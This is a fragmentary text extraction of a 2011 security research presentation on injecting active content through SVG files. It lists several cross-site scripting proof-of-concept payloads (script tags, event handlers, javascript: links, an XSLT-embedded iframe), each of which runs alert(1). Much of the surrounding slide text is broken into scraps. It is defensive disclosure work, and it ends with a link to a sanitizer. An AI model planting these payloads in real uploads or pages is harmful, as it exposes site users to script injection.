The Image that called me
Active Content Injection with SVG Files A presentation by Mario Heiderich, 2011
The Image that called me Active Content Injection with SVG Files A - - PowerPoint PPT Presentation
The Image that called me Active Content Injection with SVG Files A presentation by Mario Heiderich, 2011 Introduction Mario Heiderich Researcher and PhD student at the Ruhr- University, Bochum Security Researcher for Microsoft,
Active Content Injection with SVG Files A presentation by Mario Heiderich, 2011
University, Bochum
<svg xmlns=“http://www.w3.org/2000/svg“> <circle r=“40“ fill=“red“></circle> </svg>
ags
<svg xmlns=“http://www.w3.org/2000/svg“> <script> alert(1) </script> </svg>
<svg xmlns="http://www.w3.org/2000/svg"> <g onload="javascript:alert(1)"></g> </svg> <svg xmlns="http://www.w3.org/2000/svg"> <animation xlink:href="javascript:alert(1)"/> </svg> <svg xmlns="http://www.w3.org/2000/svg"> <foreignObject xlink:href="javascript:alert(1)"/> </svg> <svg xmlns="http://www.w3.org/2000/svg"> <set attributeName="onmouseover" to="alert(1)"/> </svg> <svg xmlns="http://www.w3.org/2000/svg"> <handler xmlns:ev="http://www.w3.org/2001/xml-events" ev:event="load" >alert(1)</handler> </svg>
style/content/cursor
not execute JavaScript
should, though
folder or desktop
anymore
<?xml version="1.0"?> <?xml-stylesheet type="text/xml" href="#stylesheet"?> <!DOCTYPE doc [ <!ATTLIST xsl:stylesheet id ID #REQUIRED> ]> <svg xmlns="http://www.w3.org/2000/svg"> <xsl:stylesheet id="stylesheet" version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/"> <iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:alert(1)"> </iframe> </xsl:template> </xsl:stylesheet> <circle fill="red" r="40"></circle> </svg>
<a href="#">CLICKME 1</a> <svg style=display:none><style> *{
)'; -o-fabbalink-source:current <span/> <a href="#">CLICKME 2</a>
<svg> <style><img/src=x onerror=alert(1)//
<foreignObject> and <iframe>
jacking
HTML websites
community
est http://heideri.ch/svgpurifier